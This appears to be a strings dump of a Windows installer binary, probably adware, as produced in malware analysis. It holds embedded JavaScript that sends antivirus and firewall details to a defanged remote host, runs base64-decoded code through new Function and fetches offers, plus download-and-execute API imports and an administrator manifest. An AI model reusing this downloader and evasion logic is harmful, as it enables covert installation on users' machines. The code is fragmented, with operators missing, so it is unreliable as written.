result=CryptoJS.AES.decrypt(cipher,key,{iv:iv,mode:CryptoJS.mode[mode]});return CryptoJS.enc.Utf8.stringify(result)}catch(error){return null}}var traceVersion="1.5.7";function addTrace(step){try{var reportUrl="hXXp://" installerData.extra.requestHost "/?trace" traceVersion "=" step;getResponseFromWrapper(reportUrl,"","","")}catch(ex){}}function addSpeficicTrace(step){}var tracedList=[];function addUniqueTrace(step){if($.inArray(step,tracedList)==-1){tracedList.push(step);addTrace(step)}}function thirdPartyError(msg,url,lno){var method="";try{method=arguments.callee.caller.toString()}catch(err){}if(url.indexOf("?trace" traceVersion)>-1){return true}sendEx("third party " msg,url,lno,method||"");return true}function ForceError(msg,url,lno,extra){var method="";try{method=arguments.callee.caller.toString()}catch(err){}sendEx(msg||"",url||"",lno||0,method||"",extra||"");try{onException(msg)}catch(err){}return true}function sendEx(msg,url,lno,method,extra){try{var ex={};ex.msg=msg;ex.url=url;ex.lno=lno;ex.xtra=extra||"";ex.method=method;ex.version=traceVersion;try{ex.av=machineInfo.av;ex.fw=machineInfo.fw;ex.as=machineInfo.as}catch(err){}var reportUrl="hXXp://" installerData.extra.requestHost "/__dmp__/";addLog(JSON.stringify(ex));getResponseFromWrapper(reportUrl,"data=" JSON.stringify(ex),"","")}catch(error){}}function Run(data,macInfo,usedDomain){addTrace("Run");window.onerror=thirdPartyError;try{if(window.external&&("externalTrace" in window.external)){window.external.externalTrace("postindex")}}catch(err){sendEx(JSON.stringify(err),url,lno,"externalTrace",extra)}addTrace("GetInternalData");machineInfo=JSON.parse(macInfo);getData(data,usedDomain)};PA
GetCPInfo
GetConsoleOutputCP
GetProcessHeap
RegCreateKeyExW
RegOpenKeyW
RegEnumKeyW
RegCreateKeyW
RegQueryInfoKeyW
RegDeleteKeyW
RegEnumKeyExW
RegOpenKeyExW
RegCloseKey
ScaleViewportExtEx
SetViewportExtEx
OffsetViewportOrgEx
SetViewportOrgEx
GetViewportExtEx
ShellExecuteExW
ShellExecuteW
UrlUnescapeW
URLDownloadToFileW
CreateDialogIndirectParamW
UnhookWindowsHookEx
SetWindowsHookExW
GetKeyState
EnumChildWindows
HttpOpenRequestW
InternetOpenUrlW
HttpSendRequestW
HttpQueryInfoW
InternetCanonicalizeUrlW
InternetCrackUrlW
.ka/ "jf
####=131%&
3&. &$3<
$ 0 0 ,4$,0 0,
.text
`.rdata
@.data
.rsrc
@.reloc
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>
KERNEL32.DLL
ADVAPI32.dll
COMDLG32.dll
GDI32.dll
ole32.dll
OLEACC.dll
OLEAUT32.dll
oledlg.dll
SHELL32.dll
SHLWAPI.dll
urlmon.dll
USER32.dll
WININET.dll
WINSPOOL.DRV
=X=X=X=X=X=X
=X=X=X=X=X
=X=X=X=X
=X=X=X
=X=X
=X
addLog..Tracked
data.exe
1.8.0
stan.mxp30.com
OLEACC.DLL
checkRegkKey
nreportException
ereportTrace
rsafari.exe
opera.exe
firefox.exe
iexplore.exe
chrome.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\
Url different :
ur.IsEmpty
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<META HTTP-EQUIV="Pragma" CONTENT="no-cache" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="hXXp://VVV.w3.org/1999/xhtml">
/__mp__/indexClean.html
/stan.mxp108.com
E_OUTOFMEMORY FAIL URLDownloadToFile
INET_E_DOWNLOAD_FAILURE FAIL URLDownloadToFile
SUCCEEDED URLDownloadToFile
SUCCEEDED default URLDownloadToFile
default URLDownloadToFile
RhXXps://
%DownloadFile
Error internal ShellExecuteEx
Error ShellExecuteEx
Not exe and not msi
Iexe
XDocHostUIHandler::GetOptionKeyPath
XDocHostUIHandler::TranslateUrl
errorUrl
XOleCommandTarget::Exec
","codeErrorMsg":"
","url":"
{"msg":"
addLog..onExit
api-JSON.parse
{"msg":";
FEATURE_XMLHTTP
FEATURE_WEBSOCKET
FEATURE_WEBOC_MOVESIZECHILD
FEATURE_WEBOC_POPUPMANAGEMENT
FEATURE_WEBOC_DOCUMENT_ZOOM
FEATURE_VALIDATE_NAVIGATE_URL
FEATURE_SCRIPTURL_MITIGATION
Resolving name %s
Name resolved %s
Unknown status: %d
CInternet error %d
WinINet.dll
SELECT * FROM Win32_OperatingSystem
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
kernel32.dll
%s%s.dll
C%s (%s:%d)
%s (%s:%d)
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
@f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl
accKeyboardShortcut
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
commctrl_DragListMsg
Df:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
Dcomctl32.dll
Dcomdlg32.dll
Dshell32.dll
mfcm90u.dll
@WININET.DLL
DHTTP/1.0
Df:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp
E.INI
user32.dll
mscoree.dll
c:\%original file name%.exe
{8856F961-340A-11D0-A96B-00C04FD705A2}
All Files (*.*)
No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.
#Unable to load mail system support.

%original file name%.exe_348_rwx_00400000_000F8000:

`.rsrc
@t-9}
FJ<.tN<[tJ<\tF<*tB<|t><^t:<$t6
vSSSh
FTPjK
FtPj;
C.PjRV
tGHt.Ht&
EXCEPTION_EXECUTE_HANDLER
c:\logFile.txt
HKEY_LOCAL_MACHINE
openUrlOnDefaultBrowser
reportException
reportTrace
ThirdPartyUrlBlockedExplorer1
BeforeScriptExecuteExplorer1
hXXp://
URL EMPTY
INSTALL NOT_EXE NOT_MSI
()$^.* ?[]|\-{},:=!
WINDOWS
%H:%M:%S
GetPathExe
invalid _N_type: %d
checkRegKey
openUrlOnBrowser
Invalid URL
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
http:
Mozilla
"url":"
/Setup.application
Error opening key.
Key not found.
HKEY_USERS
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
CheckRegistryKeyExistance
SetStringKey
CWebBrowser2
CNotSupportedException
CCmdTarget
hhctrl.ocx
CHttpConnection
CHttpFile
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
portuguese-brazilian
.?AVCCmdTarget@@
.?AVCWebBrowser2@@
.PAVCFileException@@
.PAVCInternetException@@
.PAVCOleException@@
.PAVCException@@
.PAVCObject@@
.PAVCMemoryException@@
.PAVCSimpleException@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCUserException@@
.PAVCResourceException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.?AVCHttpConnection@@
.?AVCHttpFile@@
.PAVCArchiveException@@
.PAVCOleDispatchException@@
zcÁ
Created with ajaxload.info
var CryptoJS=CryptoJS||function(u,p){var d={},l=d.lib={},s=function(){},t=l.Base={extend:function(a){s.prototype=this;var c=new s;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a){a.hasOwnProperty(c)&&(this[c]=a[c])}a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},r=l.WordArray=t.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=p?c:4*a.length},toString:function(a){return(a||v).stringify(this)},concat:function(a){var c=this.words,e=a.words,j=this.sigBytes;a=a.sigBytes;this.clamp();if(j%4){for(var k=0;k<a;k  ){c[j k>>>2]|=(e[k>>>2]>>>24-8*(k%4)&255)<<24-8*((j k)%4)}}else{if(65535<e.length){for(k=0;k<a;k =4){c[j k>>>2]=e[k>>>2]}}else{c.push.apply(c,e)}}this.sigBytes =a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<<32-8*(c%4);a.length=u.ceil(c/4)},clone:function(){var a=t.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],e=0;e<a;e =4){c.push(4294967296*u.random()|0)}return new r.init(c,a)}}),w=d.enc={},v=w.Hex={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j<a;j  ){var k=c[j>>>2]>>>24-8*(j%4)&255;e.push((k>>>4).toString(16));e.push((k&15).toString(16))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j<c;j =2){e[j>>>3]|=parseInt(a.substr(j,2),16)<<24-4*(j%8)}return new r.init(e,c/2)}},b=w.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j<a;j  ){e.push(String.fromCharCode(c[j>>>2]>>>24-8*(j%4)&255))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j<c;j  ){e[j>>>2]|=(a.charCodeAt(j)&255)<<24-8*(j%4)}return new r.init(e,c)}},x=w.Utf8={stringify:function(a){try{return decodeURIComponent(escape(b.stringify(a)))}catch(c){throw Error("Malformed UTF-8 data")}},parse:function(a){return b.parse(unescape(encodeURIComponent(a)))}},q=l.BufferedBlockAlgorithm=t.extend({reset:function(){this._data=new r.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=x.parse(a));this._data.concat(a);this._nDataBytes =a.sigBytes},_process:function(a){var c=this._data,e=c.words,j=c.sigBytes,k=this.blockSize,b=j/(4*k),b=a?u.ceil(b):u.max((b|0)-this._minBufferSize,0);a=b*k;j=u.min(4*a,j);if(a){for(var q=0;q<a;q =k){this._doProcessBlock(e,q)}q=e.splice(0,a);c.sigBytes-=j}return new r.init(q,j)},clone:function(){var a=t.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=q.extend({cfg:t.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){q.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,e){return(new a.init(e)).finalize(b)}},_createHmacHelper:function(a){return function(b,e){return(new n.HMAC.init(a,e)).finalize(b)}}});var n=d.algo={};return d}(Math);(function(){var u=CryptoJS,p=u.lib.WordArray;u.enc.Base64={stringify:function(d){var l=d.words,p=d.sigBytes,t=this._map;d.clamp();d=[];for(var r=0;r<p;r =3){for(var w=(l[r>>>2]>>>24-8*(r%4)&255)<<16|(l[r 1>>>2]>>>24-8*((r 1)%4)&255)<<8|l[r 2>>>2]>>>24-8*((r 2)%4)&255,v=0;4>v&&r 0.75*v<p;v  ){d.push(t.charAt(w>>>6*(3-v)&63))}}if(l=t.charAt(64)){for(;d.length%4;){d.push(l)}}return d.join("")},parse:function(d){var l=d.length,s=this._map,t=s.charAt(64);t&&(t=d.indexOf(t),-1!=t&&(l=t));for(var t=[],r=0,w=0;w<l;w  ){if(w%4){var v=s.indexOf(d.charAt(w-1))<<2*(w%4),b=s.indexOf(d.charAt(w))>>>6-2*(w%4);t[r>>>2]|=(v|b)<<24-8*(r%4);r  }}return p.create(t,r)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /="}})();(function(u){function p(b,n,a,c,e,j,k){b=b (n&a|~n&c) e k;return(b<<j|b>>>32-j) n}function d(b,n,a,c,e,j,k){b=b (n&c|a&~c) e k;return(b<<j|b>>>32-j) n}function l(b,n,a,c,e,j,k){b=b (n^a^c) e k;return(b<<j|b>>>32-j) n}function s(b,n,a,c,e,j,k){b=b (a^(n|~c)) e k;return(b<<j|b>>>32-j) n}for(var t=CryptoJS,r=t.lib,w=r.WordArray,v=r.Hasher,r=t.algo,b=[],x=0;64>x;x  ){b[x]=4294967296*u.abs(u.sin(x 1))|0}r=r.MD5=v.extend({_doReset:function(){this._hash=new w.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(q,n){for(var a=0;16>a;a  ){var c=n a,e=q[c];q[c]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360}var a=this._hash.words,c=q[n 0],e=q[n 1],j=q[n 2],k=q[n 3],z=q[n 4],r=q[n 5],t=q[n 6],w=q[n 7],v=q[n 8],A=q[n 9],B=q[n 10],C=q[n 11],u=q[n 12],D=q[n 13],E=q[n 14],x=q[n 15],f=a[0],m=a[1],g=a[2],h=a[3],f=p(f,m,g,h,c,7,b[0]),h=p(h,f,m,g,e,12,b[1]),g=p(g,h,f,m,j,17,b[2]),m=p(m,g,h,f,k,22,b[3]),f=p(f,m,g,h,z,7,b[4]),h=p(h,f,m,g,r,12,b[5]),g=p(g,h,f,m,t,17,b[6]),m=p(m,g,h,f,w,22,b[7]),f=p(f,m,g,h,v,7,b[8]),h=p(h,f,m,g,A,12,b[9]),g=p(g,h,f,m,B,17,b[10]),m=p(m,g,h,f,C,22,b[11]),f=p(f,m,g,h,u,7,b[12]),h=p(h,f,m,g,D,12,b[13]),g=p(g,h,f,m,E,17,b[14]),m=p(m,g,h,f,x,22,b[15]),f=d(f,m,g,h,e,5,b[16]),h=d(h,f,m,g,t,9,b[17]),g=d(g,h,f,m,C,14,b[18]),m=d(m,g,h,f,c,20,b[19]),f=d(f,m,g,h,r,5,b[20]),h=d(h,f,m,g,B,9,b[21]),g=d(g,h,f,m,x,14,b[22]),m=d(m,g,h,f,z,20,b[23]),f=d(f,m,g,h,A,5,b[24]),h=d(h,f,m,g,E,9,b[25]),g=d(g,h,f,m,k,14,b[26]),m=d(m,g,h,f,v,20,b[27]),f=d(f,m,g,h,D,5,b[28]),h=d(h,f,m,g,j,9,b[29]),g=d(g,h,f,m,w,14,b[30]),m=d(m,g,h,f,u,20,b[31]),f=l(f,m,g,h,r,4,b[32]),h=l(h,f,m,g,v,11,b[33]),g=l(g,h,f,m,C,16,b[34]),m=l(m,g,h,f,E,23,b[35]),f=l(f,m,g,h,e,4,b[36]),h=l(h,f,m,g,z,11,b[37]),g=l(g,h,f,m,w,16,b[38]),m=l(m,g,h,f,B,23,b[39]),f=l(f,m,g,h,D,4,b[40]),h=l(h,f,m,g,c,11,b[41]),g=l(g,h,f,m,k,16,b[42]),m=l(m,g,h,f,t,23,b[43]),f=l(f,m,g,h,A,4,b[44]),h=l(h,f,m,g,u,11,b[45]),g=l(g,h,f,m,x,16,b[46]),m=l(m,g,h,f,j,23,b[47]),f=s(f,m,g,h,c,6,b[48]),h=s(h,f,m,g,w,10,b[49]),g=s(g,h,f,m,E,15,b[50]),m=s(m,g,h,f,r,21,b[51]),f=s(f,m,g,h,u,6,b[52]),h=s(h,f,m,g,k,10,b[53]),g=s(g,h,f,m,B,15,b[54]),m=s(m,g,h,f,e,21,b[55]),f=s(f,m,g,h,v,6,b[56]),h=s(h,f,m,g,x,10,b[57]),g=s(g,h,f,m,t,15,b[58]),m=s(m,g,h,f,D,21,b[59]),f=s(f,m,g,h,z,6,b[60]),h=s(h,f,m,g,C,10,b[61]),g=s(g,h,f,m,j,15,b[62]),m=s(m,g,h,f,A,21,b[63]);a[0]=a[0] f|0;a[1]=a[1] m|0;a[2]=a[2] g|0;a[3]=a[3] h|0},_doFinalize:function(){var b=this._data,n=b.words,a=8*this._nDataBytes,c=8*b.sigBytes;n[c>>>5]|=128<<24-c2;var e=u.floor(a/4294967296);n[(c 64>>>9<<4) 15]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360;n[(c 64>>>9<<4) 14]=(a<<8|a>>>24)&16711935|(a<<24|a>>>8)&4278255360;b.sigBytes=4*(n.length 1);this._process();b=this._hash;n=b.words;for(a=0;4>a;a  ){c=n[a],n[a]=(c<<8|c>>>24)&16711935|(c<<24|c>>>8)&4278255360}return b},clone:function(){var b=v.clone.call(this);b._hash=this._hash.clone();return b}});t.MD5=v._createHelper(r);t.HmacMD5=v._createHmacHelper(r)})(Math);(function(){var u=CryptoJS,p=u.lib,d=p.Base,l=p.WordArray,p=u.algo,s=p.EvpKDF=d.extend({cfg:d.extend({keySize:4,hasher:p.MD5,iterations:1}),init:function(d){this.cfg=this.cfg.extend(d)},compute:function(d,r){for(var p=this.cfg,s=p.hasher.create(),b=l.create(),u=b.words,q=p.keySize,p=p.iterations;u.length<q;){n&&s.update(n);var n=s.update(d).finalize(r);s.reset();for(var a=1;a<p;a  ){n=s.finalize(n),s.reset()}b.concat(n)}b.sigBytes=4*q;return b}});u.EvpKDF=function(d,l,p){return s.create(p).compute(d,l)}})();CryptoJS.lib.Cipher||function(u){var p=CryptoJS,d=p.lib,l=d.Base,s=d.WordArray,t=d.BufferedBlockAlgorithm,r=p.enc.Base64,w=p.algo.EvpKDF,v=d.Cipher=t.extend({cfg:l.extend(),createEncryptor:function(e,a){return this.create(this._ENC_XFORM_MODE,e,a)},createDecryptor:function(e,a){return this.create(this._DEC_XFORM_MODE,e,a)},init:function(e,a,b){this.cfg=this.cfg.extend(b);this._xformMode=e;this._key=a;this.reset()},reset:function(){t.reset.call(this);this._doReset()},process:function(e){this._append(e);return this._process()},finalize:function(e){e&&this._append(e);return this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(e){return{encrypt:function(b,k,d){return("string"==typeof k?c:a).encrypt(e,b,k,d)},decrypt:function(b,k,d){return("string"==typeof k?c:a).decrypt(e,b,k,d)}}}});d.StreamCipher=v.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var b=p.mode={},x=function(e,a,b){var c=this._iv;c?this._iv=u:c=this._prevBlock;for(var d=0;d<b;d  ){e[a d]^=c[d]}},q=(d.BlockCipherMode=l.extend({createEncryptor:function(e,a){return this.Encryptor.create(e,a)},createDecryptor:function(e,a){return this.Decryptor.create(e,a)},init:function(e,a){this._cipher=e;this._iv=a}})).extend();q.Encryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize;x.call(this,e,a,c);b.encryptBlock(e,a);this._prevBlock=e.slice(a,a c)}});q.Decryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize,d=e.slice(a,a c);b.decryptBlock(e,a);x.call(this,e,a,c);this._prevBlock=d}});b=b.CBC=q;q=(p.pad={}).Pkcs7={pad:function(a,b){for(var c=4*b,c=c-a.sigBytes%c,d=c<<24|c<<16|c<<8|c,l=[],n=0;n<c;n =4){l.push(d)}c=s.create(l,c);a.concat(c)},unpad:function(a){a.sigBytes-=a.words[a.sigBytes-1>>>2]&255}};d.BlockCipher=v.extend({cfg:v.cfg.extend({mode:b,padding:q}),reset:function(){v.reset.call(this);var a=this.cfg,b=a.iv,a=a.mode;if(this._xformMode==this._ENC_XFORM_MODE){var c=a.createEncryptor}else{c=a.createDecryptor,this._minBufferSize=1}this._mode=c.call(a,this,b&&b.words)},_doProcessBlock:function(a,b){this._mode.processBlock(a,b)},_doFinalize:function(){var a=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){a.pad(this._data,this.blockSize);var b=this._process(!0)}else{b=this._process(!0),a.unpad(b)}return b},blockSize:4});var n=d.CipherParams=l.extend({init:function(a){this.mixIn(a)},toString:function(a){return(a||this.formatter).stringify(this)}}),b=(p.format={}).OpenSSL={stringify:function(a){var b=a.ciphertext;a=a.salt;return(a?s.create([1398893684,1701076831]).concat(a).concat(b):b).toString(r)},parse:function(a){a=r.parse(a);var b=a.words;if(1398893684==b[0]&&1701076831==b[1]){var c=s.create(b.slice(2,4));b.splice(0,4);a.sigBytes-=16}return n.create({ciphertext:a,salt:c})}},a=d.SerializableCipher=l.extend({cfg:l.extend({format:b}),encrypt:function(a,b,c,d){d=this.cfg.extend(d);var l=a.createEncryptor(c,d);b=l.finalize(b);l=l.cfg;return n.create({ciphertext:b,key:c,iv:l.iv,algorithm:a,mode:l.mode,padding:l.padding,blockSize:a.blockSize,formatter:d.format})},decrypt:function(a,b,c,d){d=this.cfg.extend(d);b=this._parse(b,d.format);return a.createDecryptor(c,d).finalize(b.ciphertext)},_parse:function(a,b){return"string"==typeof a?b.parse(a,this):a}}),p=(p.kdf={}).OpenSSL={execute:function(a,b,c,d){d||(d=s.random(8));a=w.create({keySize:b c}).compute(a,d);c=s.create(a.words.slice(b),4*c);a.sigBytes=4*b;return n.create({key:a,iv:c,salt:d})}},c=d.PasswordBasedCipher=a.extend({cfg:a.cfg.extend({kdf:p}),encrypt:function(b,c,d,l){l=this.cfg.extend(l);d=l.kdf.execute(d,b.keySize,b.ivSize);l.iv=d.iv;b=a.encrypt.call(this,b,c,d.key,l);b.mixIn(d);return b},decrypt:function(b,c,d,l){l=this.cfg.extend(l);c=this._parse(c,l.format);d=l.kdf.execute(d,b.keySize,b.ivSize,c.salt);l.iv=d.iv;return a.decrypt.call(this,b,c,d.key,l)}})}();(function(){for(var u=CryptoJS,p=u.lib.BlockCipher,d=u.algo,l=[],s=[],t=[],r=[],w=[],v=[],b=[],x=[],q=[],n=[],a=[],c=0;256>c;c  ){a[c]=128>c?c<<1:c<<1^283}for(var e=0,j=0,c=0;256>c;c  ){var k=j^j<<1^j<<2^j<<3^j<<4,k=k>>>8^k&255^99;l[e]=k;s[k]=e;var z=a[e],F=a[z],G=a[F],y=257*a[k]^16843008*k;t[e]=y<<24|y>>>8;r[e]=y<<16|y>>>16;w[e]=y<<8|y>>>24;v[e]=y;y=16843009*G^65537*F^257*z^16843008*e;b[k]=y<<24|y>>>8;x[k]=y<<16|y>>>16;q[k]=y<<8|y>>>24;n[k]=y;e?(e=z^a[a[a[G^z]]],j^=a[a[j]]):e=j=1}var H=[0,1,2,4,8,16,32,64,128,27,54],d=d.AES=p.extend({_doReset:function(){for(var a=this._key,c=a.words,d=a.sigBytes/4,a=4*((this._nRounds=d 6) 1),e=this._keySchedule=[],j=0;j<a;j  ){if(j<d){e[j]=c[j]}else{var k=e[j-1];j%d?6<d&&4==j%d&&(k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255]):(k=k<<8|k>>>24,k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255],k^=H[j/d|0]<<24);e[j]=e[j-d]^k}}c=this._invKeySchedule=[];for(d=0;d<a;d  ){j=a-d,k=d%4?e[j]:e[j-4],c[d]=4>d||4>=j?k:b[l[k>>>24]]^x[l[k>>>16&255]]^q[l[k>>>8&255]]^n[l[k&255]]}},encryptBlock:function(a,b){this._doCryptBlock(a,b,this._keySchedule,t,r,w,v,l)},decryptBlock:function(a,c){var d=a[c 1];a[c 1]=a[c 3];a[c 3]=d;this._doCryptBlock(a,c,this._invKeySchedule,b,x,q,n,s);d=a[c 1];a[c 1]=a[c 3];a[c 3]=d},_doCryptBlock:function(a,b,c,d,e,j,l,f){for(var m=this._nRounds,g=a[b]^c[0],h=a[b 1]^c[1],k=a[b 2]^c[2],n=a[b 3]^c[3],p=4,r=1;r<m;r  ){var q=d[g>>>24]^e[h>>>16&255]^j[k>>>8&255]^l[n&255]^c[p  ],s=d[h>>>24]^e[k>>>16&255]^j[n>>>8&255]^l[g&255]^c[p  ],t=d[k>>>24]^e[n>>>16&255]^j[g>>>8&255]^l[h&255]^c[p  ],n=d[n>>>24]^e[g>>>16&255]^j[h>>>8&255]^l[k&255]^c[p  ],g=q,h=s,k=t}q=(f[g>>>24]<<24|f[h>>>16&255]<<16|f[k>>>8&255]<<8|f[n&255])^c[p  ];s=(f[h>>>24]<<24|f[k>>>16&255]<<16|f[n>>>8&255]<<8|f[g&255])^c[p  ];t=(f[k>>>24]<<24|f[n>>>16&255]<<16|f[g>>>8&255]<<8|f[h&255])^c[p  ];n=(f[n>>>24]<<24|f[g>>>16&255]<<16|f[h>>>8&255]<<8|f[k&255])^c[p  ];a[b]=q;a[b 1]=s;a[b 2]=t;a[b 3]=n},keySize:8});u.AES=p._createHelper(d)})();CryptoJS.mode.CFB=(function(){var CFB=CryptoJS.lib.BlockCipherMode.extend();CFB.Encryptor=CFB.extend({processBlock:function(words,offset){var cipher=this._cipher;var blockSize=cipher.blockSize;generateKeystreamAndEncrypt.call(this,words,offset,blockSize,cipher);this._prevBlock=words.slice(offset,offset blockSize)}});CFB.Decryptor=CFB.extend({processBlock:function(words,offset){var cipher=this._cipher;var blockSize=cipher.blockSize;var thisBlock=words.slice(offset,offset blockSize);generateKeystreamAndEncrypt.call(this,words,offset,blockSize,cipher);this._prevBlock=thisBlock}});function generateKeystreamAndEncrypt(words,offset,blockSize,cipher){var iv=this._iv;if(iv){var keystream=iv.slice(0);this._iv=undefined}else{var keystream=this._prevBlock}cipher.encryptBlock(keystream,0);for(var i=0;i<blockSize;i  ){words[offset i]^=keystream[i]}}return CFB}());var firstCall=null;var secondCall=null;function checkPresent(base64code,resultCode){var code="";try{code=decodeBase64(base64code);code=code.replace(/%exitcode%/g,resultCode||"");var result=evalCode(code);return result}catch(err){return null}}function evalCode(code){var codeFunc=new Function(code);var result=codeFunc.call(this,[]);if(result===true||result===false){return result}else{var err={};err.message="no return";throw err}}function decodeBase64(base64code){var code="";try{var words=CryptoJS.enc.Base64.parse(base64code);code=CryptoJS.enc.Utf8.stringify(words)}catch(ex){code=Base64.decode(base64code)}return code}function checkMachineRestrictions(machineRestrictions){var restricted=false;$.each(machineRestrictions,function(i,value){value.type=value.type.toLowerCase();if(value.type=="av"||value.type=="fw"||value.type=="as"||value.type=="fav"||value.type=="ffw"||value.type=="fas"){restricted=restricted||("MP_" machineInfo[value.type]==value.value)}});return restricted}var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /=",decode:function(input){var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\ \/\=]/g,"");while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i  ));enc2=this._keyStr.indexOf(input.charAt(i  ));enc3=this._keyStr.indexOf(input.charAt(i  ));enc4=this._keyStr.indexOf(input.charAt(i  ));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output String.fromCharCode(chr1);if(enc3!=64){output=output String.fromCharCode(chr2)}if(enc4!=64){output=output String.fromCharCode(chr3)}}output=Base64._utf8_decode(output);return output},_utf8_decode:function(utftext){var string="";var i=0;var c=c1=c2=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string =String.fromCharCode(c);i  }else{if((c>191)&&(c<224)){c2=utftext.charCodeAt(i 1);string =String.fromCharCode(((c&31)<<6)|(c2&63));i =2}else{c2=utftext.charCodeAt(i 1);c3=utftext.charCodeAt(i 2);string =String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i =3}}}return string}};var dataObject=null;var installerData;var machineInfo;var acceptedCount=0;var currOffer=-1;var step=-1;var loading=false;var installing=[];var finished=false;var mappInstalled=false;var exception=false;var currentOfferScreen=0;var wasSkipAll=false;var monetizationTypesAccepted=[];var executionID="";var specialLinks=["_TitPrivacy","_TitSetup","_TitFree","_TitHelp","_TitUninstall","_TitContact","_TitTerms"];var TRACKURL;var INSTALLED=0;var DECLINED=2;var ABORTED=3;var PRESENT=4;var NOCONFIRMED=5;var ACCEPTED=9;var SKIPALL=17;var PENDING=20;var MACHINE=85;var EXECUTIONERROR=91;var DISPLAYERROR=92;var INSTALLERROR=93;var PRECHECKERROR=94;var POSTCHECKERROR=95;var OFFERERROR=96;var NODISPLAYCOMPATIBLE=97;var WELCOME=0;var OFFERS=1;var INSTALLING=2;var FINISH=3;function getData(crypted,usedDomain){var decryptedText="CryptError";try{decryptedText=hexToString(crypted);installerData=JSON.parse(decryptedText);if(typeof installerData.extra==="string"){installerData.extra=JSON.parse(installerData.extra)}addLog(JSON.stringify(installerData));installerData.extra.requestHost=usedDomain}catch(error){ForceError("Internal->" JSON.stringify(error) "->" crypted,"","");return}addTrace("DecryptedInternal");addLog("decrypted internal data");if(installerData.host==""){installerData.host=installerData.extra.requestHost.substring(installerData.extra.requestHost.indexOf(".") 1)}try{addLog(JSON.stringify(machineInfo));var apiUrl;addLog("getting machine info");var WinVer=machineInfo.os;addLog("parsing 